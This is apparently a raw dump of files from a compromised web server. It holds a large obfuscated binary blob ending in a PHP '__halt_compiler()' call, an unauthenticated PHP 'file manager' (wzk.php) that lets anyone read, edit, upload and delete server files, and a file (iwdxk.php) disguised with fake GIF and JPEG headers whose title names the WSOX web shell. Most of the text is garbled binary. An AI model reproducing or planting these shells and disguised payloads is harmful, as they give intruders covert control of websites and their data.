I�JaDq�s��ދ8�s\\R+oC�f��Ƚ5�i+�
?�(�%`
�˯|`X����d�j�@�:�9(�~ė�����U���/�>N����gd�汰�H���B�\$��x���?��y5П�
[xEp��`��\$[�BD��2����{��f��[�3n�r�B�o�@��T~d��!d�=P8�ieZ�Qagǐ��S�)ϗ�S���vW묰>�0��!i|��G5��p�][ө	��
��U��l��X]s���)��)0]�����2)T��\\'p��`9���A��)\"��Ըv(��7����ވm�̛a��a%���4�*Q����{���Ƭ ��HԀ7%��{Ӕ��o�r-�#9 ����O�b��luiG�l}\\�c�&2�)M�
�s�� ��rF�\\?f&d��(�b���pq[�)��1��Dn1��MW�&	yE��u�|��9�i��I�Bw�����|I�����)��¿����Y�.�����ʎoyF{�W�@]��}�3��`%����|*9���N�e�q
��Q��ż�nM	�̎��1\$b/+�k��A�2}�=��A���\"�梳ZX�W�*�WG�c&���Dۣ���.TP��Sv��\\����2���z�Xm���2���Ŕ�w�u��:L��p��,
[g�g������̑J�I��@�����r��cp3J�uh
/(���dR��ب�}�-31컶�2�j���\"=(���\$!�	x�x��~㠺\"��Q�#�\${S��
J�\\'��~�X�|i��L��L��+(Q��,
�����H��ca8���<�E��A4&�c.i*ˎK���8���i�w�%!%�yh�i�~�@���}�V�L�wk��a��AK��Y�J0+�B�U�
�~���=Ջ�Q�[��j0��̣5z�:�8��OM��2���w��ᨏ[K{�'(-O�s��	5,���|�Pq�Ȱy
�jZ�H�5�z�#
o���Q8qAN}�)�?�u_����Dy��@���\"E\$
�2t:�~!?�
.(=wu!?�M�Ө��N���I�_0��`gw��̰��A<�u�tsґ�{���&ʮs{龶�\\�Ķ�hY��N�5FY�[�Y����i@��ᆘ�[T L�i]�_���H	`(9�*����ZݨO�\$��!�³-d�X�
v��	�5�^\\�}�8%�
�@_�wG�����L�i��X�Xs����r�b����2U��GF(?h�%�(���##�\"^Ƭ0	�|���i<W��`��PԳhZ��x�P��g�����K/\$?R;U2u����~
���P�O[��2٪�D=<s�/�M���.���6h��%�eE���Օ��{�6�[QT�1�mnb�mE�wĔ��1s `�>J&�B�P&�p���|�;+c�|:�xp��)\\i��a�Eh-��`�%9��\$
��\\/G��B��u����x��\$�C��X\$�?�|%GWhQ�)L����C�+\"D�{�-�\\��N	M�\\E�32�ڡ:�c{G��V1V�y�q	rq㝣ӴV��l����{�E�Jy6�s�S�G�,͙�C �N��Z�Xj�WA*�ԅ����8�q�Bp��e�O,=1q�����s[�k��˖�ߝ��}�1��٬�+`sS3~J�x�����P��{�vJ�_���H�8ɾ۷��&�Q���9}@I��`2s��D���\"G2�3�/�xD��'�i�(	^�|0\"\$��=�-h��S��c|�6�B�N}؆�'P\\��<k ��\$���F�-�s7.�b�ծ��:Zv�6���X?�(/�#�����ɬ[�~H~�\\�O�&fM�48�+��LȲ��\\y�~�nk�e���.s���G(�MJ��S����ij��S��.s�n��Պ�#�{=�8|?�h��BSgoLu#s��,j
����&�����籂��`	��-s���wE]�J]K3H����`�%�P
*�>����z�
�5\\�H�_�J�mX��p�QC����/�ş�~Y뢲ę�v��l��젠3bx�J5�?��NA~18^u�4T�֌w5_��3�e�c6�Z�y|�b�Pq���T�ww\"�Om+�7����0]��M�#�������B[�Z%�����<�=��|�Y���C��5�1'�Gc�!�nY<M}�>i�|��X	h7�I0V����3���	aq��̾���z�5hGZ�aX?�@��3�R\"���[�`?��
�ݟ	����]�B]S���WPC+av�G��o,{��Jͦ�2�~:G�^{cs�*i�`\"��
SyY�f:&D>p�|�w���TƍT>K׈d���ˍbU�Zc�[�R�:���ҭ�Fb��叟+v�KcJ����;z��ϥ<gQ�>�[�����Vq?p�1�my vYƕW���� ��,b�H:\\�u�ho��k1���a:��mY\"��fO\$4<�o�/�-�^q�-M`�V��TKr'61���{��L�ڪ�vI\$��n_�}2B=¡z���I�܇�Õ��Q���79�?�ϡ�|����or!ML��	˭Ҏ�*�,\\�T�,s'��rf0�ޔ��}7f!φ�aԻ�c׺�+S@���׽)�zd���4��������j��I��0dha������-f�\$A�?�v]�u�����z�`��o��}e�e�u'�ì{>4n�g�nz���rx�q�؈�UgO�	��4́|�^F���C,�Ղ�����O9��0�&uvh���ӕ��T,et3��h����w)�D;Nh��6[s~[7}UE�9�7����=A/P+iڔ��6YS�R�\$'��En)��@���#J��\\��U=
��e�>\"&��o@�Ti@e��=*��ٰ��Jx�IIFd�GCJp���Ė{�)���T���F����xd�t�:�*�D�BITk#��-⠢4�\$�[��.�N��jOڌl\"x`A����
�۠'����;u��T�1zB�L.gz��^(��eD�ݟ����K�
D>�c�0pr��,�O��T��)m�<�Y����K*��t_X�>��!��{?���0�ŋ���\$�)+(�h����g���^���ߤ/52��dT�jh��M������`���5�@�s�#���D�
e1����W�����%k)&���l�E�F���]RFb�^z�m#�{x�1�T�Sz�����@�ۮ&�և�sP���\\�&��w^����2���'jB���O��㈟ȻŔ*0�ȟ���F��F�X��U���X@�ׄ�Ye6�����/��Apb�@�k�	�x��G-x4��us��.�=��G%��֧
� ��# �߼���y1ޠ' 07�b��]��e�Ū�yH�Txq�<�K�s�N�,�.��J�XW�9˖�	�)�M�0�w�\\�c�YK8=�
:_u�Ϲ�d�>�1�ˈ-Q��/o
�
Sy2���~|rJ�Ý�����SEƦ�)w���P�A\" �ۛ����@:����,���)'i�DL�2�#b�CW�r��\$HQwR:�?�
��������z�g�^�|�}�+‚x�xs��	5v,��G�!��R]X[�κu-�<8�_;��]>�p�
��
70�%�)�5%�@�1˔HQE׋u�R�h�Z�;�XR�37Aoa���Bk�ˮ{���G��ܰ�׼Tu֤��k��3�,R͑!>\$�t�ޟk�Ҳ��I�9�3�˶*LJ((\\���6�ϰ\"j�.p1d2�lV��]Gs��s9�
��J�B��wi. �hS�T�mx��3�s�\$�Fg��WǪ�1���]� �R�خ2��D���qӎ��c\"pp����O����]��<���4_O�(-�i��lh_��*}&.TxnԡF��j�(ី3(�(!�Y*��=�)�rl绔a6�O�<-�n����+��Y)3�?oq݇�TUk�W�I���n`1�'K�pex`u�7Ȁ��0�&uN������G	Z��L	��7�D���06�'m�=2�&a3�[~H�~�`<��;f�9'+>�t���T�_�އ4�Ŀ�5X����9=;��	1����G�i���!՘:q}�SI-x)���jJ�n�f�^�6���u�Z�jb�kμK(��1�\\�n� ���_���c��G]^����i�� u��
 TVL�&�?X3nOb���pJq��w��2<7�o�<5�6VE�nDQ
�P[���*صX]�%��;9����X��d�ov�+�@VK�d�r��'�5`	�W΄��W��^K:���ŀ�����4+8��Wp��^��*l\";�������e@qX�V��ix�RHt����Ƣrq�&�5��s&C\"�^_x�W���T�Q{���y}�}S\\��M@���^qɌ��@�f��mΰ.P�H7�<o�o漑W��JzҮT
�Ս�Ӝ��u)Os=��W�
��)��S�a^�\\��7x��:w!��
h��L���'�E�M��8İ|��/\\5����1��|u�P�d� !˨X���=��(��\\�Rj��ȷJաHXC��\\r���ey�
0�+�wڕ�D���?74O�W��\\/j�c��V��O�o�4�W�9.E5\$������6
�^�{��A5�[z�Z��{�,*�r�Fp����l����,���z+��	�<�>{�+��C�Qp\\
~��v�ejk~;� ����>����n�
���ݝ/�ϱ�I�x@���ű�M^߯J�4�
�Y�B+�1��*T�b��\$^D�G
7<H�{P.�@(5�y�B�(��A�>���U�E@��
xjɒ3�[�>~U�G�W��Y@˲g��z���pz�� �%���V���MD����jp�xO�T�f_x?t�f�`iA��q>�r�g��j�z�Qʾ�%p�|\$ˌ-��`& H`(�)2��p�iҕ�.'�v�\$E�\$!pHԴ�ٰ��)5�t��IF�~ȍ�#'���P�W-]jw6�I�aQ��R�R<�A��o�cPz�gQ�*f��/����Dې�֛ǵ�D�U�Nan]��zlΖ�e���#�r!�-'�]F\$K�iI��B;d�b���_�o����Ŷ�_��ր\"و��ơ�U���4ɳ��
���n�����<(V?3���)|�̡����N�����ft�G��t�M�mD�1SH�X}��UH�F�“�z
*;o�*w؊�!]H�ƌ�Դ��g�{�*� ��Y|��C6��ְ>�|����J[]���*�j؆4�����+�:8����x�H
H��O�L��iB���.4�b�E���|���8G�pi���S@7Iw��/�r�=��rw[%���M���q�����G����A�5�T�H��	��a��zI�1�Ι��\"�2��R�>)�*O-%��.���A�^h��=b�?m�۔{U�ζ�=�KDV�/���;n���ػ�[�VAv�-Ә���h����G�Y��C}���
�MQ|���M���‹�����\$_�覓9[TKz�O SMfB�>R9���G�	͚�m�W�b��q�Q�y�d��A��[�_�>�����tB��܎>���h��-}��m��X����5���s�̞���=�Q���;K\\�aD�cR�6^���g�]�ΩS-�
^�ts&��_�@M�N����~���U����
��_�s�0���k��EE������\$@m�/.Gs�������4tSA���|�P-'�\"#��ٖc����E
�؁�ƒ��4;6{(Qc
YR��A�^���M=��;�W۸����ldUp#:�
���Rz<P=�;o�Oa
%)�Op˧}Bs/�wl�p pF�8r���A�
����ub\"o네=��7\\`G�jm�ק�l/4�����mr��kg��f������#]:[�Ž�:
���w�s��=���h,a�C=�+��V�4����h���
��^mա��<GGQ�Rk��\"@��U�(�f1q�t䣏���E.��2�ў�j�un�_C�WirP6�>��6�1H��L��K?|ֳ�
-(��~v�|rd,63����c�r��.B����2Ĕ��Z��1����,J�B ��\\	��O�@�	�=8��f(;�����Ǫ�R*x��Pu�\\��iz�.�թ�F4���&��Q��e�T� LڑH��?��\$z�������RXԄ�<+
^:����^q�3�g��������6����
�(�e�.x�J����9��J� ��	�8<�X��V1͞��J���E�;�>��L6yz����2k�*��﹇�LQW+u+ pD�[
���cw�ₗ�z��`���rWO̓<O�0�wA�:���*�i�ǰ��J�\\	��&�	�ƹ�i�B�OC�J�F��WZ���d��֦�R�qP�\"*��O��� ���t�hD��n(?=��b��k�M��U,�(��2~�Ў���/���&y�u|�nifc�'��l�]��_kF�Ms���ĄI*�!��xl
lXT�s8*�u՛��w�!�~u4
�އe�T\"��֮7�*���`�.���6vZ��~r�e�O���+[�"));__halt_compiler();�������є�����	�	ԫ���������
蠅�Űȭ��˻��������֤���������́պ��Ф�Θ�������Б����������у��Ӓ��՗������	�����������ɠ������	�ڥ̲���䭄��
����̠�������ݶ�������������؂���ȓݒ�꫋�����ݗ��������ͩ֨�������ԯ��ō�������ʩ(+�a�.1_�m*����lp��h�-sV/P>�����?��p�1`���x�hK3�	j�E�t~6�j-0~��r�i��k�S���H{�
s�p�TG:�E��K(�)�M���CN���xr~u��@���n	�k���T��CuE��1�L��چgE�n�nQ�ݯ�8�A��q>��_c�Orz?c_=(��5Wh���_�`k��I<��]��J!{lG�[�o�=�!P>��VV�Nڼ������m�X�8���1V�oQ��Ү��"�>M���M�v�l8���k�|�I�=`�Ȗ�ҫ��Wc�BWZ*KoB{�D��M�8�1���{��ذ!o}����KXޑw��&Z�|+��ٛ��0�{)O�]��"��l�V4H�t�?\�<F��ua��m��r�>������Zo,z�Y�h��� &%g����Bm�ˎ����.�Na�K羍�E���ik��?�����acH�g�5I�28�Q�eGx�($T�2�q+g[�Sq�4� po�7�K��^��C4~XCt����'f_�Za�f�@��OU�~y�K%��d�E"��|7Jy�_��U}���D2&������X�݈�s߉�� q�,A��0�B3�+T�o��R��8�E);�v�!و���[2)\g�Z빭1@���u�\WB�'M��)�1`�JK�0؊J��<��a��S7�JM�D��Cڜ��Dx�!?�Y�aPT-��Xt�e��[jұ��l�$�2T���gC{��XNri!��w��"n4���P��/�j��Ea�}�RD��S1:����]��w���K'�E�A}"�B���#�0������X��%k�����,�ؾ���?�>yk��RG�C|�TYR*����~9�Y��V���
=�}�H9�&>�EY�ḏ�L�\z9ȷ�1J�St����rwy��e|,�.D�mX/B��.�
Z��c��GA�m�-q�3������KZ���_q&�����@1R,�zt��_<�����4��Z������p[6��̉({����(�F�&�4�*X�ϥ"a�^
Dc�UA�O&�������:���dqK��~Am��GL���ޔ�����NSJ׭(xd��YZ\<���Yc���,!��T�	K�����N�2ϧ����<e��1��lر�"P�3��@}�E7�`�f��{2A?��\"�c�tf��!=k"HjE��T���Q�Q�4^Rnkԙ�a�w�~��%C. vw�n���7�|Za�ڵ%�Ω(	�X�e�kE�ek�~�����Q�6yz���3縮ҥ����+7j�g� ��L�%/��+��dGM��f�r|p���W�k�q����I�ֶ^�+nJ��d��"�Qm�f&�^_�Ј1�e%���@C�9�6��m���&�&ue9���4�uS�z�(wrP���n�d������O�|�	���/�'��C�'q����@ �@A�D�f�T/��RëS�-�~[��Vj70�zƚ���^<`��b���@.2!>�]�~���&�
�rN�t�GD�%�ۑc��_�*��n�U1��^5��W7�%�T���V��,g�]�呞M8arh�!��fܖb��Ff�c��b����'r�#�߁�t�^�J���ى�H����Zd�Э(��+�_����<���`[i0��T�q�PY�3ׅ�(ӛϞ��O�G��!��j�É2�o{���D����3���8�	t���h�|���K�$.��A \�Mtj�E�A*�SM�h�gDZ\�A�}7�V��Q"X�!�_���!DQkI4�v����+�Q��TH�*���]���6���n�܁�-���P�؆����{�6���↠���΁ Г��<#'dl2�$/�Y�M��ʃT=����Q��jA�
�WGi���^��03$�47�2Υ��P�����7������:rIG�lľ�bڑ�;ͼI)����O�6cf3wzk.php000064400000042731151550413340006331 0ustar00<?php
// file_manager_simple.php - File Manager without JavaScript
session_start();
error_reporting(0);

// ==================== CONFIGURATION ====================
$base_dir = realpath(__DIR__);
$root_anchor = dirname($base_dir);

// ==================== HELPER FUNCTIONS ====================
function sanitize_path($path){
    $path = str_replace('..', '', $path);
    $path = preg_replace('/[^a-zA-Z0-9\.\_\-\/]/', '', $path);
    return trim($path, '/');
}

function safe_realpath_within($path, $allowed_root){
    $rp = realpath($path);
    if($rp === false) return false;
    
    $root = rtrim($allowed_root, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR;
    if(strpos($rp, $root) === 0 || $rp === rtrim($allowed_root, DIRECTORY_SEPARATOR)) {
        return $rp;
    }
    return false;
}

function get_file_list($dir){
    $files = [];
    if(is_dir($dir)){
        $items = scandir($dir);
        foreach($items as $item){
            if($item === '.' || $item === '..') continue;
            $full_path = $dir . DIRECTORY_SEPARATOR . $item;
            $files[] = [
                'name' => $item,
                'path' => $full_path,
                'size' => is_file($full_path) ? filesize($full_path) : 0,
                'type' => is_dir($full_path) ? 'directory' : 'file',
                'modified' => date('Y-m-d H:i:s', filemtime($full_path))
            ];
        }
    }
    return $files;
}

function format_size($bytes) {
    if ($bytes >= 1073741824) {
        return number_format($bytes / 1073741824, 2) . ' GB';
    } elseif ($bytes >= 1048576) {
        return number_format($bytes / 1048576, 2) . ' MB';
    } elseif ($bytes >= 1024) {
        return number_format($bytes / 1024, 2) . ' KB';
    } else {
        return $bytes . ' bytes';
    }
}

// ==================== REQUESTED DIRECTORY HANDLING ====================
$requested_dir = isset($_GET['dir']) ? sanitize_path($_GET['dir']) : basename($base_dir);
$current_dir_candidate = $root_anchor . ($requested_dir ? DIRECTORY_SEPARATOR . $requested_dir : '');
$current_dir = safe_realpath_within($current_dir_candidate, $root_anchor);

if($current_dir === false){
    $requested_dir = basename($base_dir);
    $current_dir = safe_realpath_within($root_anchor . DIRECTORY_SEPARATOR . $requested_dir, $root_anchor);
    if($current_dir === false){
        $requested_dir = '';
        $current_dir = safe_realpath_within($root_anchor, $root_anchor);
    }
}

// ==================== PARENT DIRECTORY CALCULATION ====================
if($requested_dir !== ''){
    $parent_dir = dirname($requested_dir);
    if($parent_dir === '.' || $parent_dir === '\\') $parent_dir = '';
} else {
    $parent_dir = '';
}

// ==================== BREADCRUMB NAVIGATION ====================
$dir_parts = [];
if($requested_dir !== ''){
    $parts = explode('/', $requested_dir);
    $current_path = '';
    foreach($parts as $part){
        $current_path .= ($current_path ? '/' : '') . $part;
        $dir_parts[] = [
            'name' => $part,
            'path' => $current_path
        ];
    }
}

// ==================== ACTION HANDLING ====================
$action = $_GET['action'] ?? 'list';
$message = '';

switch($action){
    case 'view':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Type: text/plain');
            readfile($file_path);
            exit;
        }
        break;

    case 'edit':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $content = $_POST['content'] ?? '';
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                if(file_put_contents($file_path, $content) !== false){
                    $message = "File '{$file}' updated successfully!";
                } else {
                    $message = "Error updating file '{$file}'!";
                }
            }
            // Don't redirect - stay on edit page with message
        } else {
            if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
                $content = htmlspecialchars(file_get_contents($file_path));
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Edit: ".htmlspecialchars($file)."</title></head><body>";
                echo "<h2>Edit: ".htmlspecialchars($file)."</h2>";
                if($message) echo "<p style='color:green;'>$message</p>";
                echo "<form method='post'>";
                echo "<textarea name='content' style='width:100%;height:400px;font-family:monospace;'>$content</textarea><br><br>";
                echo "<button type='submit'>Save</button> ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</form></body></html>";
                exit;
            }
        }
        break;

    case 'delete':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        
        // Check if this is a confirmation request
        $confirmed = isset($_GET['confirm']) && $_GET['confirm'] === 'yes';
        
        if($confirmed && safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
            if(is_dir($file_path)){
                $it = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                foreach($it as $f){
                    $f->isDir() ? rmdir($f->getRealPath()) : unlink($f->getRealPath());
                }
                rmdir($file_path);
                $message = "Folder '{$file}' deleted successfully!";
            } else {
                if(unlink($file_path)){
                    $message = "File '{$file}' deleted successfully!";
                } else {
                    $message = "Error deleting file '{$file}'!";
                }
            }
            header('Location: ?action=list&dir=' . urlencode($requested_dir) . '&message=' . urlencode($message));
            exit;
        } else {
            // Show confirmation page
            if(safe_realpath_within($file_path, $root_anchor) && file_exists($file_path)){
                echo "<!DOCTYPE html><html><head><meta charset='utf-8'><title>Confirm Delete</title></head><body>";
                echo "<h2>Confirm Delete</h2>";
                echo "<p>Are you sure you want to delete '".htmlspecialchars($file)."'?</p>";
                echo "<p><strong>Type: </strong>" . (is_dir($file_path) ? "Folder" : "File") . "</p>";
                echo "<p><strong>Path: </strong>" . htmlspecialchars($file_path) . "</p>";
                echo "<br>";
                echo "<a href='?action=delete&file=".urlencode($file)."&dir=".urlencode($requested_dir)."&confirm=yes' style='color:red;font-weight:bold;'>YES, DELETE</a> | ";
                echo "<a href='?action=list&dir=".urlencode($requested_dir)."'>Cancel</a>";
                echo "</body></html>";
                exit;
            }
        }
        break;

    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === 'POST' && !empty($_FILES['file'])){
            $uploaded = $_FILES['file'];
            if($uploaded['error'] === UPLOAD_ERR_OK){
                $name = basename($uploaded['name']);
                $dest = $current_dir . DIRECTORY_SEPARATOR . $name;
                if(safe_realpath_within(dirname($dest), $root_anchor)){
                    if(move_uploaded_file($uploaded['tmp_name'], $dest)){
                        @chmod($dest, 0644);
                        $message = "File '{$name}' uploaded successfully!";
                    } else {
                        $message = "Error uploading file '{$name}'!";
                    }
                } else {
                    $message = "Invalid upload path!";
                }
            } else {
                $message = "Upload error: " . $uploaded['error'];
            }
        }
        // Stay on same page with message
        break;

    case 'download':
        $file = sanitize_path($_GET['file'] ?? '');
        $file_path = $current_dir . DIRECTORY_SEPARATOR . $file;
        if(safe_realpath_within($file_path, $root_anchor) && is_file($file_path)){
            header('Content-Description: File Transfer');
            header('Content-Type: application/octet-stream');
            header('Content-Disposition: attachment; filename="'.basename($file_path).'"');
            header('Content-Length: '.filesize($file_path));
            readfile($file_path);
            exit;
        }
        break;

    case 'create_folder':
        if($_SERVER['REQUEST_METHOD'] === 'POST'){
            $folder = sanitize_path($_POST['folder_name'] ?? '');
            if($folder){
                $fp = $current_dir . DIRECTORY_SEPARATOR . $folder;
                if(safe_realpath_within(dirname($fp), $root_anchor) && !file_exists($fp)){
                    if(mkdir($fp, 0755, true)){
                        $message = "Folder '{$folder}' created successfully!";
                    } else {
                        $message = "Error creating folder '{$folder}'!";
                    }
                } else {
                    $message = "Folder already exists or invalid path!";
                }
            } else {
                $message = "Please enter a folder name!";
            }
        }
        // Stay on same page with message
        break;
}

// Get message from URL if redirected
if(isset($_GET['message'])){
    $message = $_GET['message'];
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>File Manager</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            font-family: Arial, sans-serif;
            background: #f2f4f8;
            padding: 20px;
        }
        
        .container {
            background: #fff;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 0 10px rgba(0,0,0,.08);
        }
        
        h1 {
            margin-bottom: 12px;
        }
        
        .table {
            width: 100%;
            border-collapse: collapse;
        }
        
        th, td {
            padding: 10px;
            border-bottom: 1px solid #eee;
        }
        
        th {
            background: #007bff;
            color: #fff;
            text-align: left;
        }
        
        .trhover:hover {
            background: #fafbfc;
        }
        
        .btn {
            display: inline-block;
            padding: 6px 10px;
            background: #007bff;
            color: #fff;
            border-radius: 6px;
            text-decoration: none;
            margin-right: 6px;
            border: none;
            cursor: pointer;
            font-size: 14px;
        }
        
        .btn:hover {
            background: #0056b3;
        }
        
        .btn-danger {
            background: #dc3545;
        }
        
        .btn-danger:hover {
            background: #c82333;
        }
        
        .btn-success {
            background: #28a745;
        }
        
        .btn-success:hover {
            background: #218838;
        }
        
        .pathbar {
            background: #eef2f5;
            padding: 10px;
            border-radius: 8px;
            margin-bottom: 15px;
        }
        
        .toolbar {
            margin-bottom: 12px;
            padding: 10px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        
        .small {
            font-size: 0.9em;
            color: #666;
        }
        
        .message {
            padding: 10px;
            margin: 10px 0;
            border-radius: 5px;
            font-weight: bold;
        }
        
        .message.success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .message.error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        input[type="text"], input[type="file"] {
            padding: 8px;
            border: 1px solid #ddd;
            border-radius: 4px;
            margin-right: 5px;
        }
        
        .breadcrumb {
            margin: 10px 0;
            font-size: 14px;
        }
        
        .breadcrumb a {
            color: #007bff;
            text-decoration: none;
        }
        
        .breadcrumb a:hover {
            text-decoration: underline;
        }
    </style>
</head>
<body>
<div class="container">
    <h1>File Manager - <?= htmlspecialchars($current_dir) ?></h1>

    <?php if($message): ?>
        <div class="message <?= strpos($message, 'Error') === false ? 'success' : 'error' ?>">
            <?= htmlspecialchars($message) ?>
        </div>
    <?php endif; ?>

    <div class="pathbar">
        <!-- Navigation buttons -->
        <a class="btn" href="?action=list&dir=<?= urlencode($parent_dir) ?>">← Back</a>
        <a class="btn" href="?action=list&dir=<?= urlencode(basename($base_dir)) ?>">🏠 Project</a>
        <a class="btn" href="?action=list&dir=">📁 Root</a>
        
        <span class="small"> &nbsp; &nbsp; Current: 
        <?php if($requested_dir === ''): ?>
            / (<?= htmlspecialchars($root_anchor) ?>)
        <?php else: ?>
            /<?= htmlspecialchars($requested_dir) ?>
        <?php endif; ?>
        </span>
        
        <!-- Breadcrumb navigation -->
        <div class="breadcrumb">
            <a href="?action=list&dir=">Root</a>
            <?php foreach($dir_parts as $p): ?>
                › <a href="?action=list&dir=<?= urlencode($p['path']) ?>"><?= htmlspecialchars($p['name']) ?></a>
            <?php endforeach; ?>
        </div>
    </div>

    <div class="toolbar">
        <form method="post" enctype="multipart/form-data" action="?action=upload&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;">
            <input type="file" name="file" required>
            <button class="btn btn-success" type="submit">📤 Upload</button>
        </form>

        <form method="post" action="?action=create_folder&dir=<?= urlencode($requested_dir) ?>" style="display:inline-block;margin-left:8px;">
            <input type="text" name="folder_name" placeholder="New Folder Name" required>
            <button class="btn btn-success" type="submit">📁 Create Folder</button>
        </form>
    </div>

    <?php
    $files = get_file_list($current_dir);
    if(empty($files)): ?>
        <p><i>No files or folders found in this directory.</i></p>
    <?php else: ?>
        <table class="table">
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <?php foreach($files as $f): ?>
                    <tr class="trhover">
                        <td>
                            <?php if($f['type'] === 'directory'): ?>
                                📁 <strong><?= htmlspecialchars($f['name']) ?></strong>
                            <?php else: ?>
                                📄 <?= htmlspecialchars($f['name']) ?>
                            <?php endif; ?>
                        </td>
                        <td><?= $f['type'] ?></td>
                        <td><?= $f['type'] === 'directory' ? '-' : format_size($f['size']) ?></td>
                        <td><?= $f['modified'] ?></td>
                        <td>
                            <?php if($f['type'] === 'directory'): 
                                $next_rel = ($requested_dir !== '' ? $requested_dir . '/' : '') . $f['name'];
                            ?>
                                <a class="btn" href="?action=list&dir=<?= urlencode($next_rel) ?>">Open</a>
                            <?php else: ?>
                                <a class="btn" href="?action=edit&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Edit</a>
                                <a class="btn" href="?action=download&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Download</a>
                            <?php endif; ?>
                            <a class="btn btn-danger" href="?action=delete&file=<?= urlencode($f['name']) ?>&dir=<?= urlencode($requested_dir) ?>">Delete</a>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>
    <?php endif; ?>
    
    <div style="margin-top: 20px; padding: 10px; background: #f8f9fa; border-radius: 5px;">
        <small>
            <strong>Security Info:</strong> 
            You can only access files within: <?= htmlspecialchars($root_anchor) ?>
        </small>
    </div>
</div>

<script>
// Simple confirmation for delete links
document.addEventListener('DOMContentLoaded', function() {
    var deleteLinks = document.querySelectorAll('a[href*="action=delete"]');
    deleteLinks.forEach(function(link) {
        link.addEventListener('click', function(e) {
            // Let the server handle confirmation - don't prevent default
            // The server will show a confirmation page
        });
    });
});
</script>
</body>
</html>iwdxk.php000064400000246370151550413340006420 0ustar00<!-- GIF89;a -->
<!-- GIF89;a -->
���� JFIF      �� � 	  	 

	



 "" $(4,$&1'-=-157:::#+?D?8C49:7




7%%77777777777777777777777777777777777777777777777777��  { �" ��               �� 5        !1AQa"q�2��BR��#b�������                ��                 ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp� 
����� �o�7�m�s�<��VPS�e~V�چ8���X�T��$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� �	3\�״ H SZ�g46�C��צ�ے	�b<���;m����Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>;
�e�4��5�k��/CB��.
 �J?��;�҈�������������������~�<�VZ�ꭼ2/)͔jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:ޠI��1"2�qװ8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.���ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G����٬��Q�zA���1�����V��� �:R���`�$��ik��H����D4�����#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA×¾hb�	��n��F������	��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m��<sŒÅá0™dkÈ.tc˜:z­G†:<FV2Zu“V

N(ëá’b&1K
¼Àë_Û{®®×ñ5ÇÁ(HæŒíh¡£{è.×€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆ€ˆˆˆƒ*~\<Pº7 ¸ºíÀi°ïê JT8–F
	 iëÝÏêÛZZÓ·”•'àÞöx¤–F5s²ì†
ñRÇ75ïNÊÒ&I,l‘ÐÀ–ZøË®ÅX¡Ìé½_$¸o‡(šg´Ë²ù¬5§5X?Sì¤ÂÇãø‹ñ†LvÆ6†µÛ]ïÙ|bGŒ<:ÂKœs OÜû­˜Ü\|+ H²YB&—ß›[ç×_nÔƒŸüO‰ŶÅAÞ¤nþÝ‚£_r½ÒHç¿W8Ù5VWÂ" """ """ """ """ ""ÈXY ê?Ë!¶ê4ùŽ–íuò ®8ŽG²1AöÞE´*ÁýÀM/á—¡‘Ù
œ$@"ÏÊj·åË©Vr;À‡ÅÄ[k0e­
såh>�)�X+!���=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��<html><head><meta http-equiv='Content-Type' content='text/html; charset=Windows-1251'><title>modskinlienminh.com - WSOX ENC</title>

‰PNG

   
